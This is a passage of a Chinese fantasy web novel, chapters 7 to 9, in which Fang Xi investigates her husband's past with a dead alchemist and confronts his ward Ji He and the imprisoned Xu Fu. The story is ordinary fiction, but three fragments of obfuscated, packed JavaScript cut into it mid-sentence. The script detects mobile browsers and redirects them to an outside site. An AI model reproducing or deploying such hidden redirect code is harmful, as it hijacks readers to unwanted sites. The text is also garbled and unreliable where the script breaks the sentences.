他一败再败,精疲力竭,双膝跪地,支着剑撑起遍体鳞伤的身体。 他杀红了眼,竭尽全力奋起,殊死一搏。 闻天语说过,各人有各人的命数,只看,不去掺和,也是种慈悲。 还没等方溪记起这句话,她的剑就已出鞘。 魇兽的尸体碎片化作漫天的血色荼蘼。 她弄丢了月亮,捡到了一只鬼。 他说,她救了他,他愿意代替月亮陪着她。 他用三年的陪伴轻而易举地得到了方溪的真心,又将那颗心亲手撕碎,还将碎渣捧在手心假装深情问她,能不能重归于好。 如今又让姜桑柔试探她。 三年就想抵消百年仇怨,天底下哪有这么便宜的事? 牢狱阴冷如地府,姜桑柔的声音回荡在方溪的脑海里。 良久,方溪才吐出一个两个字来: “不恨。 7. 第 7 章 她眼底平静无波,仿佛真将愁怨轻飘飘地掀过。 姜桑柔很意外,方溪似乎能收敛自己的情绪,并将其藏了起来。 在幽冥时,方溪的所有情绪都是受厉鬼凶神影响,欲/望膨胀外放而不自知。 方溪对许成砚是贪欢,对冥主之位则是贪权。 比正常人还要容易大悲大喜,无法控制住七情六欲。 不然也不会中了圈套,让戚彧钻了空子。 如今到了人间反而压抑住了许多。 叫姜桑柔看不真切,仿佛站在她面前的人不是方溪而是另一个人。 从神异部的大牢出来后,她便迎面撞上之前挑衅过她的少年。 姬禾。 少年一身傲气,走路都比别人带风,可惜胳膊绑着绷带,显得他有几分可怜。 姬禾一看见方溪,脸色就变得异常难看,与方溪擦肩而过时还重重地哼了一声。 方溪有点手痒,想收拾这小屁孩,但念及他伤未痊愈,就此作罢。 没成想,方溪刚走几步,那小屁孩就跟上来,气冲冲地站在她面前。 “你凭什么用这把伞?” 方溪出门常常背着把黑伞,她下意识往后摸了摸伞。 “你不许碰。” 方溪才不管他的警告,她就碰,怎么了,他管的着吗? 没成想姬禾眼睛一下子红了,泪眼汪汪。 这小孩怎么回事? 方溪把伞拿在手中敲打,作势要撕伞:“再哭,我就把伞毁了。” 这是她顺手在戚彧屋里拿的,一把破伞而已,遮阳还漏光。 姬禾打不过她,动手没胜算,再言戚掌司使还护着她,姬禾又气又急。 扯着嗓子就在哭嚎:“这是我阿娘的,你不许碰。” 方溪拿伞的手指捏到指尖泛白,莫名紧张道:“亲娘?” “不是亲娘,也不许你碰。” “那就是干娘。”方溪挑眉,心头有点莫名酸胀,酸胀过后便是愤懑。 他都有家室还来招惹她,真恶心。 姬禾瞅着她那张熟悉的脸,悲从中来,哭得更凶了。 没一会儿就有几个八方部的玄司使凑过来,在一旁边嗑瓜子边碎嘴。 “他咋又哭了?” “自打方大人来,他哪日不嚎?掌司使现在哪有空哄这三百岁的大孩子。” 鸟族长寿,丹鸟一族,幼年期更是漫长。 姬禾三百岁等同于人族十二岁。 方溪也是长生种,若无闻天语点化成人,让她长得比一般草木精灵快。她估计现在还在土里蛄蛹着汲取大地灵气。 算起来,眼前这哭嚎的小鸟还比她大两百岁。 方溪心情有点复杂,于是道:“你想要伞可以,找一把新的给我。” 姬禾止住了哭嚎,冷静了下来,又抹了把眼泪:“你碰过的伞,我阿娘肯定嫌弃,我不要。” 这小孩真够烦人。 方溪懒得跟他纠缠,转身要走,余光瞥见不远处的水榭里立着个人。 那人长身玉立,一身月白圆领袍,长眉入鬓。正朝这边看来,方溪暗叹一声:“晦气。” 疾步要离开,结果刚往前一步,那人便闪身过来。 姬禾顿时安静下来,眼泪都收了起来,恭恭敬敬地行礼:“掌司使。” 许成砚撇了姬禾一眼,只觉头疼。他一看见姬禾就觉得脑瓜子嗡嗡作响,他知道姬禾是故人遗孤,却记不清是哪位故人。 至于伞,这伞一直搁置在角落里,他也记不清到底是他自己的还是故人的。 姬禾低着脑袋,眼珠子含恨,沉默不语。 许成砚垂眸观察方溪的脸色,他眼底闪过几分慌乱,他没法解释这伞还有这三百岁的干儿子。 他摆摆手示意姬禾退下,姬禾走之前还哼哼了两声。 方溪火气蹭蹭上来,瞟了他一眼,阴阳怪气道:“传闻你风流成性,如今看来此言非虚,也是。掌司使年过八百,算得上是高龄了,有个三百岁的儿子也正常。只是啊,你年纪都那么大了,还以为自己正值青春年少,学别人谈风花雪月?” 许成砚瞅了一眼自己的衣袍,方溪素来最喜他穿月白衣衫,哪怕是到了人间,他穿得合她心意,方溪也愿意同他多说几句话。 今日听她这话,戚彧一时错愕,喃喃道: “我真的老了吗?” 方溪说着违心话,他长得好看,毋庸置疑,可她还是说道:“八百岁,足够传几十代人了,你还不够老吗?” 若是换算人族的年龄,方溪青春年少,他确实是早该入土之人。 可人族飞升后容貌都会固定在最风华正茂的年纪,但就算是这样。 许成砚飞升时已有二十七八,说老谈不上,但方溪嫌弃他老,嫌弃得真情实感。 长生种与短生种有着难以逾越的沟壑,特别是在寿命与相貌上。 许成砚眉眼轻蹙,面色凝重,他瞧着方溪年轻貌美的面容,眼中的神采黯淡下来。 方溪直戳他心窝子:“你都那么老了,我还那么年轻,你说你疼我,你就这么耽误我。” 许成砚被她怼得哑口无言。 方溪第一次看见他吃瘪的样子,先前的阴霾一消而散,顿觉痛快极了。 接下来几日,许成砚每日对镜自观,连衣袍的样式、颜色都照着方溪喜欢的来。 方溪有次盯着他眼角的一根细纹看,戚彧像是被针扎了一下,捂住她的眼睛不让看。 虽然他嘴上不说什么,方溪知道他心里在意极了。 她曾传授过他长生道,这几日忙完公事,戚彧便狠下心不与她亲昵,跑去偷偷修炼起来,这也让方溪得了空闲去找天玄玉令。 方溪在他的寝殿翻箱倒柜,用神识探查几次都只找到些破烂。 两大箱子的丹方和一个被封印机关匣。 她身上有他的灵力,轻轻松松就破解开了机关匣。 里面是个似乎被火熏黑的拨浪鼓。她拿起来仔细查看,只是在鼓柄上摸到一个小字“昔”。 昔,是什么意思?朝昔?今昔?往昔? 还是人名? 她猛然想起茶馆里人们口中的那个天才“丹道昔”。 方溪打开其中一个箱子,取出一张丹方查看落款。 落款是其他人名,没有一张是丹道昔。 她又拿了几张一起对比,正文字迹工整秀洁,落款字迹各式各样。 突然一张丹方飘落在她脚下,她躬身去捡起,定睛一看,愣住了。 这字迹她再熟悉不过,是戚彧的。 他在誊抄这些丹方,落款处只有天数。 方溪手指轻轻抚摸这张的墨迹,残留的灵力告诉她,这张丹方誊写于四年前。 他抄这些东西做什么?很多都已经是过时无效的方子。 方溪心生古怪,有一种预感催促着她去打开另个箱子。她手指搭在箱子上,心口像是被石头压住喘不上气来。 方溪打开箱子,一张、一沓、一摞…… 全部都是那人誊抄的丹方。 这些方子都能在另一个箱子找到原方。 这些方子的落款日从第一日开始到最后一日算起,已经整整三百年。 他对丹道昔可真是一往情深。 既然那么执着,三年前为何还要娶她? 如此情深,当年戚彧为何还要负了那女子? 她背靠在箱子上,翻看着一张张丹方,试图从字里行间窥探到丹道昔更多的痕迹。 丹道昔写的丹方总会在一些细枝末节的地方,用笔锋画一些花草,很小很小,就夹在字与字之间。 用到蝴蝶做引的丹方,她便在这两字的间隙中画一只蝴蝶,诸如此类数不胜数。 许成砚誊抄的丹方竟然还效仿着画,字写得很漂亮,但画的闲趣没有丹道昔的灵动,甚至显得笨拙。 就像个刚刚画的小孩,照猫画虎的去临摹别人的灵机一动。 这样的画只会显得又笨又蠢。 方溪捏着丹方的手指指尖泛起了白,越往后看越是觉得丹道昔可真是个妙人。 她偶尔会在写完丹方末尾加上一行随笔。 “此方味甘,可当零嘴,过食,可取兄长二钱茶嚼茶解腻。” “此方味怪,浅尝一二,方觉少忍冬二钱。添之,食后昏迷二日。若无兄长,吾命休矣,不敢再试。” “今朝寒食,家中只备此丹,吾食丹辟谷。兄长早归,热食二三,乐哉,遂弃辟谷。” 诸如此类数不胜数。 丹修以身试药本是件寻常事,在她笔下这些小事平凡而温馨,足以可见她与兄长感情深笃。 丹道昔的随笔,许成砚并没有誊抄,只是在随笔处添了一个墨点。 那墨点时大时小,像是停笔至此,迟迟下不了决心,最后收笔不再书写,故而只留下一个墨点。 传闻中丹道昔并无兄长,想必丹道昔的兄长只是个凡人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406171|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知为何越压箱底的丹方随笔,关于她兄长的小事越少,就好像渐渐断了联系一般。 她敏锐地发觉到兄长彻底断联的那批丹方的年份正好是许成砚飞升前夕。 丹道昔的随笔从长句变为短句,从短句变为丹方简述。年份越靠后,丹方竟然出现了血沫风干后的印子。 方溪感知血迹中死亡的气息,丹道昔写这丹方时似乎命不久矣。 她心情沉重起来,将这些东西恢复原状。 方溪为丹道昔愤愤不平,若不是遇到他,丹道昔会英年早逝? 没有他,丹道昔说不定能自己兄长这样简单快乐的过下去。 方溪出了寝殿,站在屋檐下,眯起眼来,阳光刺眼,她打开黑伞转了两圈。 借着光仔细观察伞骨,除了有些裂纹,她并没发现什么特别之处。 既非法器,又非信物。这伞会不会是丹道昔的?那姬禾就是丹道昔的遗孤? 可丹道昔是个凡人,怎么会有丹鸟做儿子?丹鸟本就稀少,凡人能遇到都是大机缘,更别提和丹鸟建立亲缘。 丹道昔天资卓越,身负此等机缘,若非英年早逝,活到现在那都是祖师般的大能。 该不会是姬禾觉得她这个地府来的人晦气,不配碰丹道昔的伞? 正当方溪要走时,她眼皮跳了一下。 “那个谁,你有空吗?”少年的声音听起来有种死要面子又不得不求人的委屈感。 黑伞收束,姬禾出现在她面前,怀里还揣着一把新伞。 赤红如枫。 方溪是真没想到这小孩会记得她的话。 真的找了把新伞给她。 “谢谢。” 方溪朝他伸出手,姬禾抱伞侧身,不情不愿道:“我是问你有没有空,又不是给你伞。” 臭毛病,跟那人一模一样。 “不给?那我走了。”方溪作势要走,姬禾一下子慌了,拦住她的去路,涨红了脸大声道: “且慢。” “我我我有话要说。”姬禾激动道。 “冥灵木为何会是你?” 这叫什么话?方溪生来便是神木,天命如此。 “我天生地长的,你有疑可上奏闻天语,你不是最喜欢哭吗?去她跟前撒泼打滚哭诉天道不公啊。” “我不是这个意思。我是,唉,说了你也不懂。”姬禾把伞塞到她怀里,顺势夺走她手里黑伞,“你要的新伞,我专门去俗世挑的。” 方溪低头看怀里的新伞,直言道:“你娘是丹道昔。” 姬禾脸色微微僵硬,面颊紧绷,他瞪大眼睛。 他支支吾吾半天,不否认也不承认。 “方溪,那个名字我希望你从今往后都不要再提,你不配提,我更不配。” 方溪正要出言讥讽,结果对上他的眼睛,姬禾的眼睛里掺杂太多情绪。 他在贬低她时也贬低自己,似乎是把她和他放在同一个位置上。 方溪只觉得莫名其妙:“她又不是我长辈,提她名讳怎么了。” “她就是……”姬禾把话咽了下去,拿伞指着她,他眼角微微发红:“你跟掌司使要怎样,我管不了,但你若是对阿娘不敬,我就跟你拼命。” 爹要娶后娘,儿子自然管不着。 可方溪也不屑做他后娘,再言她何时对丹道昔不敬了。这小子的脑子怕是被驴给踢了,一天天的正事不做,只会臆测别人如何如何,又要求别人如何如何,背地里关上门骂骂也就得了,骂了不合意便打上门来说别人这不对那不对。 说了又说不明白,只会让人看笑话。 “你为她打抱不平,就不要来冲着我发火,一来不是我害死她,二来更不是我辜负她。冤有头债有主,你该去警告嘲讽的应该是戚彧。” 少年后撤一步,面色苍白。 方溪轻笑了一声,继续道:“你明知我身不由己,却不去怪罪魁祸首,反倒是颠倒黑白把我打成恶毒后娘。你气的不是我,你气的是那个人。可是你不仅打不过他,还要依仗他,你对他不满就变成了对我不满。气不过,就跑来捏软柿子。” 这小子就是欠收拾。 方溪一掌打在少年身上,姬禾被劲力掀翻在地,他捂着心口,趴在地上。 她蹲下身欣赏他眼里的恐惧,用新伞拍了拍他的脸,笑道:“当然了,你看不惯我也正常,毕竟你想让我死,但我没死成,我不仅没死成,还活得好好的,你急了,所以又哭又闹还来挑衅我。” 8. 第 8 章 她跑路那些天,带她回来的那些玄司使,个个都是人才,张口闭口就是自家掌司使的八卦。 方溪耳濡目染,久了便品出那些八卦背后的东西。当年天玄司对幽冥殿施压,除了许成砚本人授意,还少不了姬禾拱火。 大的卑鄙无耻,小的更是学得像模像样,上梁不正下梁歪。 “你年纪小,我不跟你一般计较,只是替丹道昔感到不值,如此正直良善之人竟会有你这么个混账玩意做孩子。” 姬禾又要哭嚎,方溪飞花摘叶施法封住他的嘴,威胁道:“你下次胆敢来我这耀武扬威,我就拔光你的毛,把你这只不听话小鸟做成烤鸡吃。我脾气不大好,别总是来烦我,你最好长点记性,我说到做到。” 说完她捏着姬禾的脸,问他:“听明白了吗?” 姬禾点头如捣蒜,疯狂眨巴眼睛。 方溪站起身,试了试新伞,红艳夺目,很衬她今日穿的石榴裙。 “这伞我收下了,色够红艳,我很是喜欢。” 方溪笑若春风,姬禾脊背窜起一股凉意。 . 这些天方溪找遍了整个天玄司,连天玄玉令的影都没见着,郁闷至极,她总要找点乐子来缓和一下。 她发现只要在许成砚面前有意无意提起“年岁长”“老”之类的词,他便如坐针毡,每每与她接触都很不自在。 仿佛她的目光成了审视他的利刃,岁月无情,杀人无声。许成砚对方溪的一颦一笑都极其敏感,方溪什么都不说,但又什么都说了。 从他的眼神里竟然透出了几分自卑与懊悔。 活久见。 玄司使们又聚在一堆嚼舌根,没多久玄门墨客又有掌司使的黑料可以借题发挥他们的满腔牢骚。 没几日,方溪又溜下凡间,听八卦。 方溪翻着手里的玄门八卦小报,看到精彩处便捶桌憋笑。 【男人四十一枝花,戚彧八百豆腐渣。】 【八百老汉对镜自怜,背后究竟是道德沦丧还是咎由自取?】 【震惊,天谴竟让雄风不再:小店有回春丹,一粒永葆青春,两粒懂得都懂。某大人物用了都说好。】 隔壁桌几个修士更是眉飞色舞地说个不停。 “这八卦真野啊,难怪戚老贼被人夺妻,原来还有这阴私。敢情他夺人妻是为了掩人耳目?哈哈哈哈。” “还有人写他一把年纪穿得花里胡哨勾引小姑娘,结果人小姑娘嫌他老,他每日愁容满面自卑得躲起来。” 这几人嘻嘻哈哈地说笑一番,又神情莫测地低声说话,全都落入方溪耳里。 “还有一则八卦,说他私德败坏,老天都看不下去。说他下幽冥根本就不是为了攻占幽冥殿,而是被龙女捅了一刀丢进去的。这回天谴还要收回他的命数,老不老不知道,他也活不长了。” 方溪听后一怔,活不长。她想起在弱水岸时,她给许成砚推算命数,确是命不久矣之兆。 她想过他是故意埋伏在她身边,可怎么也没想到他是被龙女捅死下的幽冥。 难不成他真没骗她,他那时确实是寿命将尽。 “不是说他吃了长生不老药吗?” “药名叫长生难道吃了就真能长生,怎么可能?人族与长生种相比,人就是朝生暮死的蜉蝣,除非像邪修那样换个长生种的身体。” “嘘,不要命了,八卦调侃调侃得了,邪修这话若被天玄司的人听到,是真要下地府的。” 短生种对长生的欲/望是刻在骨子里的,到了一定的年岁或者积攒了一定的家底那是一万个不情愿去死。 “说实话,要不是戚彧下令禁止玄门各派不许用此法觅长生,他风评还算是可以的。私德暂且不说,灭伪神开太平,这事他可是大功臣。” “功臣还能被龙女捅一刀啊?” “谁叫他算计龙女。不过他哪有那么容易死,这不刚诈尸又从幽冥活过来了。” “……” 方溪听得出神,她从来没有关心过,被戚彧丢下地府的人都是些什么货色。 在她的眼中凡人只要不大奸大恶,正常生老病死没问题,大不了死相惨烈点,不至于判个神魂俱灭的刑罚。 可他送来的文书,那些用邪修之法觅长生的凡人全都要求她判人判个灰飞烟灭。 方溪自然是觉得刑罚过重,每每争执只能找些折中的法子让双方都满意一点。 情节轻的,寿命减半。 情节重的,在幽冥服刑十几年后再投胎。 真正罪大恶极的,无需戚彧要求,方溪会亲自动手。 方溪颔首继续看小报,习惯性地伸出手去拿茶盏,结果手指摸了半天,没摸到,摸到一只冰凉的手。 “八卦好听吗?” 这话听着颇有咬牙切齿的意味。 方溪刚想缩回手,就被那只手牢牢地抓住,十指紧扣。她甩了两下,发现挣脱不了,于是皮笑肉不笑道:“挺难听的。” “为何?” “因为主角是个八百老汉。” 许成砚眉眼染着水雾,根根分明的眼睫上挂着水珠,就好似刚从极寒之地回到暖地,冰晶雾化成水珠。 方溪正想着他此前去了何地,目光悄然落在他身上。 许成砚肤色偏白但不会显得阴柔,微微抬头时,能看到他轮廓流畅的下颌。 他不笑的时候给人一种清冷疏离的感觉,眉眼间的戾气更加重了这特质,变得不近人情。 但他看方溪时常常是眉眼舒展开来,眼中的笑意冲淡了这种疏离。虽然方溪嘴上嫌弃他年纪大,可还是不得不承认他的骨相确实优越。 他身形颀长,高大且漂亮。 他眸光虽黯淡,却如雾中星辰。 岁月虽无情,却未曾在容貌上亏待他。任谁见过他,都会觉得什么八百老汉岁月催人老简直是无稽之谈。 方溪避开目光,她脸不红心不跳道: “还不行。” 许成砚的拇指有意无意地摩挲着她的手背:“我不行,嗯?” 他虽对容貌易逝有顾虑,但不意味着他对自己没有自知之明。 更何况方溪应该比他更清楚他到底行不行。 方溪简直是自投罗网,挖坑给自己跳,她有点不太想继续这个话题。 她轻声细语地说着话,生怕别人发现这尊大神在这边。 “你不要脸我还要脸呢,你就不能遮一遮?” 许成砚这几日真的是疯魔到玄门青年流行穿什么,他就穿什么,他这么坐在她的对面。 一如当年初遇时那般清朗俊逸,让人挪不开眼。 “他们看不见。” 许成砚设了只有他二人的结界。 方溪的态度立马变了,一巴掌拍开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406172|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手,很凶,打得他手背泛红。 方溪揉了揉被他拽红的手腕:“你来做什么?” 许成砚挪身靠近她:“你在哪,我就在哪。” 真是阴魂不散。 “你没有其他事要忙吗?整日闲得慌。” “有,陪你。” 方溪眸光一沉:“我不需要你陪我。” “你需要。”许成砚的言辞十分强势,不给她留一点余地,“你不能在凡间阳气最盛的时节待太久,我是来护着你回家的。” “我无父无母,没有家。” “我无妻无子,也没有家。” 他的妻不认他,他哪来的家。 四目相对,方溪想起那几箱丹方,更替丹道昔感到可悲。 从前的丹道昔是不是也像她一样沉溺在许成砚的温柔乡里,然后被背叛欺骗,罪魁祸首还装作若无其事,想要再续前缘。 那般活泼温良的女子该如何释怀? 方溪忆起那些带着血印的丹方,凡间有一种忧思病。心气郁结,经年累月,便成了顽疾,最后泣血咳血而亡。 方溪看着他的眉眼,想从他的神情中找到一丝对那女子死去的悔恨。 他以对待丹道昔的方式对方溪时,会不会想起八百年前那个因他气郁而亡的女子? 许成砚四年前誊抄完最后一张丹方时会是何种心情?八百年的执念说放下就放下,然后再次重蹈覆辙,他图什么? 方溪想,她又不是丹道昔,只会在心里生闷气,把自己气死。她是方溪,九幽冥主方溪,谁负了她,谁辱了她,她必定会要那人付出代价。 方溪在最孤独的时候爱上了如月一般纯粹的许成砚,也能在发现一切都是镜花水月的幻影后恨上戚彧。 她的恨,是对着这百年来天玄司欺压幽冥殿的恨。 她的恨,是对着他欺她、夺她权、抢她心的恨。 是了,向来最欺人辱人那个,永远也不会认为自己有错,只会觉得被辱被欺之人的爱恨莫名其妙、无理取闹。 许成砚无法理解方溪为何明明爱他却也那么恨他。方溪无法理解戚彧为何明明爱她却也能那么害她。 于是,方溪质问他: “那丹道昔呢?她不是你的妻子吗?姬禾呢?他难道不算你的孩子吗?” 许成砚一直在回避,他无法解释。 他这些日子偷偷跟着方溪看着她翻出那些前尘旧物,看着她拿起那些东西,一件又一件的仔仔细细地看。 有时一看就是一整日,她面容平静得像是灵魂出窍,连他的靠近也未曾察觉。 在方溪走后,他拾起那些旧物,也同方溪一般看得出神,他无法理解四年前的自己,就像他无法理解自己为何到现在还在狡辩。 “我的妻子只有你。” 可所有的旧物无一不在昭示着: 他的妻子是丹道昔,他的义子是姬禾。 可许成砚的妻子只是方溪,只能是方溪。 三年前他们于圆月之下向娲皇起誓过的,他们若非良缘,娲皇为何会应许他们? 云开见月,佳偶天成。破镜无法重圆,因为两瓣碎镜之间隔着一个八百年。 隔着他的妻,他的子,隔着她的权,她的心。 “你信我。” 这句话太过苍白无力,连他自己都不信,又怎么能让方溪去信他? 9. 第 9 章 方溪噗嗤一笑,她连声说好,便冷着脸看向别处。 果真厚颜无耻。 方溪被许成砚抓包,跑也跑不了,二人缩地成寸,一同回到了天玄司。 一路上,两人并肩而行,方溪总觉着他有意无意地用手背碰她的手。 想牵又不敢牵。 方溪垂眸看了一眼,轻笑道:“掌司使这可是在外面,你注意点距离。” 许成砚这才规规矩矩地收回手,低眉顺眼,竟有几分委屈。 方溪刚想开口,一个玄司使便气喘吁吁地跑来,同他低声说了几句,随后退下。 方溪在侧耳倾听,大抵是什么星辰异变之类的话。不知为何,许成砚神色一凛,他长叹一声后,直接上手抓住她的手放在心口。 方溪被他突如其来的举动吓得后退。 许成砚嘱咐她:“这几日我要远行,你照顾好自己,千万不要受凉。” 方溪抽出手侧过身,在他的注视下不情不愿地点了点头。 许成砚还是不放心,又柔声道:“等我回来,一定给你个满意的答复,好吗?” 微风吹拂二人的额发,方溪揉了揉自己的耳垂,抿唇不言。 “我要走了。” 他嘴上说着要走,却还停驻在原地,他似乎在等着什么。 方溪拽着自己的衣角,思来想去后,闭上眼,认命似的小声道:“一路平安。” “好。” 方溪目送他离开后,回想着先前戚彧刚出现时的模样,他眉梢和眼睫上挂着水珠,而且脸上湿漉漉的。 最重要的是他身上还有一股阴寒之气。 她常年在幽冥,对这样阴冷的气息太熟悉了。他去哪了? 若是从极北之地来回,他身上的水汽早就干了。 凡间正值酷暑,不可能有如此极寒之地。那就只有天玄司有这种地方。 方溪早就把天玄司探查个遍,天玄司最冷的地方就是神异部的大牢。 她那日去见姜桑柔时,就觉得那里的气场与其他地方不一样。 仿佛每一间牢房都设了特殊的禁制,那会不会为了压制某个人或者妖物用极寒之法作为禁制? 她沉吟思索着,不知不觉走到了神异部的大牢。 正要进去,便被那日蛇首人身的玄司使拦住去路。黄叁:“方大人,这里没有掌司使的准许他人不得入内。” 方溪不慌不忙道:“他同我说过,只要我想见姜桑柔,随时都可以。” 黄叁一听就知道她是胡扯:“这……” 玄司使也不都是刻板不懂变通之辈。黄叁悄悄道:“方大人,这样吧。你进去一小会儿就出来,你也别让我难做,万一掌司使知道了,我是要挨罚的。” “好。”方溪答应得倒是利索,黄叁左顾右盼,招手示意她速战速决。 她冲他笑了一下:“多谢。” 黄叁抱臂仰头观天,一副“我没看见你”的样子。 方溪凭着记忆朝着牢里的最深处走,所有关在这的妖或者人都是罪大恶极之辈。 因为有禁制,她无法感知到牢房里都是些什么东西。 只有沿途石墙和藤蔓上栖息的萤火虫替她指引前路。 越往里寒气越重,石墙也变成了冰晶,萤火虫隐了身形。方溪的四肢也变得沉重起来,寒气侵入血肉,她施法避寒,寒气反而因她调动灵力而反噬给她。 方溪扶着冰晶缓缓蹲下,眉梢、眼睫上都结了一层冰霜,她咬咬牙起身继续往前。 她有一种预感,她离答案越来越近。 “岂曰无衣?与子同袍。”有人在轻声吟唱着古老的歌谣,那声音充满了哀怨与自嘲。 方溪走到冰窟底部,终于见到了唱歌的人,那人一身白衣坐在地上,手里拿着个酒囊。 他的脸似人非人,一半为鸟,一半为人,连接处则是肉瘤,乍一看很是瘆人。 仔细看他衣袖下的手居然是鸟类的爪子。 赤红的羽毛布满他的肌肤,让人看得头皮发麻,极其恶心。 传闻中的邪修原来是这样。 他见方溪来,坐直身板,将酒囊高举像是在敬她酒:“你答下一句,答对了,我告诉你我是谁。” “王于兴师,修我戈矛。与子同仇!” “好!好好好。”这几个“好”字一声比一声低,他说完便大笑起来,仰头喝酒。 他手上的枷锁为极北玄铁所制,专克真火。 “你是丹鸟一族?”方溪蹙眉,警惕地朝后一步。 “不,我是人,只不过是半人。多年不见,你都长那么大了,姜桑柔还同我说过,你体弱在幽冥怕是养不活,你看,你现在不是活得好好的吗?”那人看着她笑起来,回忆往昔,看样子与姜桑柔是旧相识。 方溪:“你这话什么意思?你认识我。” “我不仅认识你,我还帮过你。我不仅帮过你,还帮过许成砚。”最后那三个字他加重了语气,笑着用手指指指点点,“白眼狼,一个个都是白眼狼。” 许成砚飞升前做过的缺德事,能有资格这么骂他的只有一个。 那就是徐甫。 知遇之恩,却欺师灭祖,当然是白眼狼。 “你是徐甫,鸣雁国师徐甫,我猜得对吗?” 徐甫盘腿坐起,他一拍腿:“稀罕,太稀罕了,你居然唤我国师,你果真什么都不记得了?不对,你不是她。” 他忽地捧腹大笑起来。 “你笑什么?” “我笑许成砚机关算尽,八百年了,他一无所得。”他打量着她的容貌,啧啧称奇:“像,太像了。” 像谁?丹道昔吗? 方溪被他看得有点不自在,徐甫的目光可不像在看一个人,她并不想深究一个疯子的话。 徐甫喃喃自语道:“冥灵木果真玄妙,只是可惜了,那个人还是失败了。” “谁?”莫名其妙。 徐甫反而松了口气:“你没必要知道,你只用知道她是唤醒你的人,没有她就没有你。你既不是她,那你来这做甚?” 方溪居高临下地看着他,冷冷道:“你是戚彧的仇人,他是我的仇人。你一定也不想让他好过,我也不想让他好过。” 徐甫神色古怪,他听出了她的言外之意:“你想做什么?” “我想让他死,但我杀不死他,我在姜桑柔那听到一个办法,只要以他的心头血为引,驱动梦魇之力我便能回到他飞升前将他杀死。现下我灵力受抑制,曾听闻当年戚彧便是凭借天玄玉令登临天道玄门,这玉令想必也能恢复我的灵力。”方溪说这话时,眸光如二月寒潭。 “他对你做什么了,”徐甫好奇道,“你这么想杀他?” 方溪学着他的话说道:“这个你不需要知道。你只需要知道,若是我能拿到天玄玉令,必然能助你离开冰窟大牢。” “离开后被你一刀杀了?我可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406173|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,许成砚跟你这个小丫头比起来,他对我这个恩师还是有几分敬意的。知道这酒是谁给的吗?他还是心软了。我听说过你对付伪神的手段,啧啧,狠,太狠了。” “手段?戚彧借刀杀人,我来背黑锅,到底是谁更心狠手辣?”方溪讥讽着。 徐甫愣一下,默默放下手中的酒。 方溪没想到徐甫会拒绝她的提议,又问道:“你难道就不想离开这里?” “想,但也不想。我造孽太多,日日受这寒气侵蚀,备受煎熬,”徐甫用手捶着胸,释怀道:“这里的良心会好受些。” 徐甫若不提寒气还好,一提连方溪都有些受不住,她拢了拢身上的衣袖。 方溪:“那姜桑柔呢?你与她是旧相识,你是愿意待在这暗无天日大牢里了,那她呢?” 徐甫先前那副随遇而安的样子有些装不下去了,他那张畸形的脸上闪过一丝紧张。 “她也在这?” “我前些日子才去看望过她,”方溪故意放慢语调,随即压低声音:“戚彧,对她可没对你这么好。” 徐甫有些慌了:“不可能,他答应过我不会伤害她的。” “喔,是吗?你居然会相信他的话。知道我为何想要他去死吗?就因为他靠着他那张见人说人话见鬼说鬼话的嘴巴,把我哄得团团转,连木心和骊龙珠都丢了。当然了,也怪我自己太天真了,信了他的鬼话,不过看到有人比我还要天真我心里好受多了。” 徐甫瞧了她一眼,又瞅了眼手中的酒馕:“他已经疯魔到这种地步了?那今晨他……” 他眼珠子打转一圈,神情变得严肃起来,思索着:“他真的无视闻天语的禁令,下幽冥夺了冥灵木心。不成。他一定是在盘算着什么东西,可……小丫头他既然夺了你的木心为为何你还活着?” 方溪的青丝上覆着一层白霜,整个人被冻得僵硬,说话的语气也带着颤抖:“我想他一定是顾忌闻天语吧。” “你要找天玄玉令,首先得找到坤字阁第七块天玄令。有了“坤七”的天玄令,找那玩意儿轻而易举。不过,它估计早被许成砚当宝贝藏起来了,你拿不到,别费工夫了,你走吧。”徐甫将酒一口闷下。 “你是姜桑柔看着长大的,我奉劝你一句。他不杀你,说明心里还是有对闻天语的敬畏,趁着他还没彻底疯了,能跑多远跑多远。最好换一张脸,不然今后这张脸会给你带来无尽的祸端。” 这是徐甫此生最后一点良知。 离别之际,他问了她一个问题:“姜桑柔可曾向你提起过我。” 方溪摇摇头。 徐甫闭上眼躺在冰晶上,羽毛覆盖住他的眼睛,看不出神情。 冰窟仿若身临极北,这样的日子是苦痛的,唯有苦痛能消散那经年累月的离愁。 方溪几乎是扶着石墙走出大牢的,她明明已经出了冰窟,体内的寒气久久不肯散去。 在门口打盹的黄叁被动静惊醒,他见状正要起身去搀扶,结果余光瞥见一道白光,他又闭上眼翻了个身继续打盹。 方溪依靠在石门上,抬起手臂遮住脸,还没来得及打开伞。 黑伞的阴影遮住了她。 方溪垂着头,目光落在那人月白襕衫上的一处绣样上。 